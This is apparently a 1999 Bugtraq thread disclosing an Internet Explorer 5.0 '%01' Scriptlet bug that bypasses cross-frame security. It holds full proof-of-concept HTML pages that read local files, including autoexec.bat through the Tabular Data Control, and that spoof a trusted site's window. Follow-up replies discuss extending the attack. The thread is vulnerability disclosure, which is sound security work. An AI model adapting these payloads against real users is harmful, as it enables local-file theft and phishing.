Date: Fri, 9 Apr 1999 07:15:12 +0300
From: Georgi Guninski <joro@NAT.BG>
To: BUGTRAQ@netspace.org
Subject: IE 5.0 security vulnerabilities - %01 bug again
There is a security bug in Internet Explorer 5.0 which circumvents
"Cross-frame security" and opens several security holes.
This is a modification of the "%01 security bug" (that was fixed in IE
5.0) I found in January.
The problem seems to be in the "Microsoft Scriptlet Component".
If you add '%01someURL' after the URL you pass to "Microsoft Scriptlet
Component", IE thinks that the document is loaded from the domain of 'someURL'.
Some of the vulnerabilities are:
1) IE allows reading local files and sending them to an arbitrary server.
The filename must be known.
The bug may be exploited using HTML mail message.
Demo is available at: http://www.nat.bg/~joro/scriptlet.html
2) IE allows "window spoofing".
After visiting a hostile page (or clicking a hostile link) a window is
opened and its location is a trusted site. However, the content of the
window is not that of the original site, but it is supplied by the owner
of the page. So, the user is misled he is browising a trusted site, while
he is browsing a hostile page and may provide sensitive information,
such as credit card number.
The bug may be exploited using HTML mail message.
Demo is available at: http://www.nat.bg/~joro/scrspoof.html
Workaround: Disable Javascript
Regards,
Georgi Guninski
----------------------------------------------------------------------------------
[http://www.nat.bg/~joro/scriptlet.html]
<HTML>
<HEAD>
<TITLE>
IE 5.0 "%01" security vulnerability - file reading
</TITLE>
</HEAD>
<BODY>
There is a security bug in Internet Explorer 5.0 which circumvents "Cross-frame security" and
opens several security holes.
<BR>
This is a modification of the "%01 security bug" (that was fixed in IE 5.0) I found in January.
<BR>
The problem seems to be in the "Microsoft Scriptlet Component".
If you add '%01someURL' after the URL you pass to "Microsoft Scriptlet Component", IE thinks that the document is
loaded from the domain of 'someURL'.
This page demonstrates reading local files.
<BR>
Workaround: Disable Javascript
<BR>
<A HREF="http://www.nat.bg/~joro">Go to Georgi Guninski's home page</A>
<OBJECT
classid="clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389"
>
<PARAM NAME="URL" value="about:<SCRIPT>alert('Create a short file C:\\test.txt and it will be read and shown in a message box');a=window.open('file://c:/test.txt');alert(a.document.body.innerText);a.close();</SCRIPT>%01file://c:/">
</OBJECT>
</BODY>
</HTML>
----------------------------------------------------------------------------------
[http://www.nat.bg/~joro/scrspoof.html]
<HTML>
<HEAD>
<TITLE>
IE 5.0 "%01" security vulnerability - window spoofing
</TITLE>
</HEAD>
<BODY>
There is a security bug in Internet Explorer 5.0 which circumvents "Cross-frame security" and
opens several security holes.
<BR>
This is a modification of the "%01 security bug" (that was fixed in IE 5.0) I found in January.
<BR>
The problem seems to be in the "Microsoft Scriptlet Component".
If you add '%01someURL' after the URL you pass to "Microsoft Scriptlet Component", IE thinks that the document is
loaded from the domain of 'someURL'.
This page demonstrates spoofing windows.
<BR>
Workaround: Disable Javascript
<BR>
<A HREF="http://www.nat.bg/~joro">Go to Georgi Guninski's home page</A>
<OBJECT
classid="clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389"
>
<PARAM NAME="URL" value="about:<SCRIPT>a=window.open('http://www.yahoo.com');a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at the address bar!<BR>');a.document.write('<A HREF=http://www.nat.bg/~joro>Go to Georgi Guninski home page</A></H1></BODY></HTML>');</SCRIPT>%01http://www.yahoo.com">
</OBJECT>
</BODY>
</HTML>
----------------------------------------------------------------------------------
Date: Fri, 9 Apr 1999 08:38:09 -0400
From: Eric Stevens <ejsteven@CS.MILLERSV.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: IE 5.0 security vulnerabilities - %01 bug again
Is there any way to exploit this with files that are not recognized as text.
Example, I tried modifying your code to c:\autoexec.bat and
c:\winnt\win.ini. Instead of displaying the contents of my autoexec.bat
file, I instead recieved an Open/Save As dialog. Open tries to execute the
bat file or edit the ini file in the temp folder where it was downloaded,
and save as does the obvious. This problem exists on both versions of IE5
that I have access to, 5.00.0708.700 [ships with Windows 2000 Beta 2 build
5.00.1877], and 5.00.2014.0216 [a public release]. Hopefully this can't be
exploited against anything but text files as it's not terribly likely that
you have any sensitive information sitting around in text files whose names
are likely to be guessed.
----] quote [----
>1) IE allows reading local files and sending them to an arbitrary
>server.
>The filename must be known.
>
>The bug may be exploited using HTML mail message.
>
----] end quote [----
----------------------------------------------------------------------------------
Date: Sat, 10 Apr 1999 20:51:47 +0300
From: Georgi Guninski <joro@NAT.BG>
To: BUGTRAQ@netspace.org
Subject: Re: IE 5.0 security vulnerabilities - %01 bug again
Eric Stevens wrote:
>
> Is there any way to exploit this with files that are not recognized as text.
Yes, there is such a way. You must use TDC to read files with extensions
different from .txt or .html.
Demonstration of reading AUTOEXEC.BAT is available at:
http://www.nat.bg/~joro/scrauto.html
> Example, I tried modifying your code to c:\autoexec.bat and
> c:\winnt\win.ini. Instead of displaying the contents of my autoexec.bat
> file, I instead recieved an Open/Save As dialog. Open tries to execute the
> bat file or edit the ini file in the temp folder where it was downloaded,
> and save as does the obvious. This problem exists on both versions of IE5
> that I have access to, 5.00.0708.700 [ships with Windows 2000 Beta 2 build
> 5.00.1877], and 5.00.2014.0216 [a public release]. Hopefully this can't be
> exploited against anything but text files as it's not terribly likely that
> you have any sensitive information sitting around in text files whose names
> are likely to be guessed.
>
Regards,
Georgi Guninski
[http://www.nat.bg/~joro/scrauto.html]
<HTML>
<HEAD>
<TITLE>
IE 5.0 "%01" security vulnerability - reading AUTOEXEC.BAT
</TITLE>
</HEAD>
<BODY>
There is a security bug in Internet Explorer 5.0 which circumvents "Cross-frame security" and
opens several security holes.
<BR>
This is a modification of the "%01 security bug" (that was fixed in IE 5.0) I found in January.
<BR>
The problem seems to be in the "Microsoft Scriptlet Component".
If you add '%01someURL' after the URL you pass to "Microsoft Scriptlet Component", IE thinks that the document is
loaded from the domain of 'someURL'.
This page demonstrates reading AUTOEXEC.BAT.
<BR>
Workaround: Disable Javascript
<BR>
<A HREF="http://www.nat.bg/~joro">Go to Georgi Guninski's home page</A>
<OBJECT
classid="clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389"
>
<PARAM NAME="URL" value="about:<object id='myTDC' width=100 height=100 classid='CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83'><param name='DataURL' value='c:/autoexec.bat'><param name='UseHeader' value=False><param name='CharSet' VALUE='iso-8859-1'><param name='FieldDelim' value='}'><param name='RowDelim' value='}'><param name='TextQualifier' value='}'></object><form><textarea datasrc='#myTDC' datafld='Column1' rows=10 cols=80></textarea></form><SCRIPT>s='Here is your AUTOEXEC.BAT:\n\n';setTimeout('alert(s+document.forms[0].elements[0].value)',4000)</SCRIPT>%01file://c:/">
</OBJECT>
</BODY>
</HTML>
----------------------------------------------------------------------------------
Date: Fri, 9 Apr 1999 15:05:07 -0700
From: Ryan Russell <Ryan.Russell@SYBASE.COM>
To: BUGTRAQ@netspace.org
Subject: Re: IE 5.0 security vulnerabilities - %01 bug again
Since it's an NT box, did you try using the ::$DATA
feature in conjunction with this bug?
Ryan
Is there any way to exploit this with files that are not recognized as text.
Example, I tried modifying your code to c:\autoexec.bat and
c:\winnt\win.ini. Instead of displaying the contents of my autoexec.bat
file, I instead recieved an Open/Save As dialog. Open tries to execute the
bat file or edit the ini file in the temp folder where it was downloaded,
and save as does the obvious. This problem exists on both versions of IE5
that I have access to, 5.00.0708.700 [ships with Windows 2000 Beta 2 build
5.00.1877], and 5.00.2014.0216 [a public release]. Hopefully this can't be
exploited against anything but text files as it's not terribly likely that
you have any sensitive information sitting around in text files whose names
are likely to be guessed.
----------------------------------------------------------------------------------
Date: Mon, 12 Apr 1999 22:59:36 -0700
From: adam <overstr@NWLINK.COM>
To: BUGTRAQ@netspace.org
Subject: Re: IE 5.0 security vulnerabilities - %01 bug again
Forgive me if this has been mentioned.
The bug also exists on ie 4. A similar one is possible with netscape.
On Sat, 10 Apr 1999, Georgi Guninski wrote:
> Eric Stevens wrote:
> >
> > Is there any way to exploit this with files that are not recognized as text.
>
> Yes, there is such a way. You must use TDC to read files with extensions
> different from .txt or .html.
>
> Demonstration of reading AUTOEXEC.BAT is available at:
> http://www.nat.bg/~joro/scrauto.html
>
> > Example, I tried modifying your code to c:\autoexec.bat and
> > c:\winnt\win.ini. Instead of displaying the contents of my autoexec.bat
> > file, I instead recieved an Open/Save As dialog. Open tries to execute the
> > bat file or edit the ini file in the temp folder where it was downloaded,
> > and save as does the obvious. This problem exists on both versions of IE5
> > that I have access to, 5.00.0708.700 [ships with Windows 2000 Beta 2 build
> > 5.00.1877], and 5.00.2014.0216 [a public release]. Hopefully this can't be
> > exploited against anything but text files as it's not terribly likely that
> > you have any sensitive information sitting around in text files whose names
> > are likely to be guessed.
> >
>
> Regards,
> Georgi Guninski
>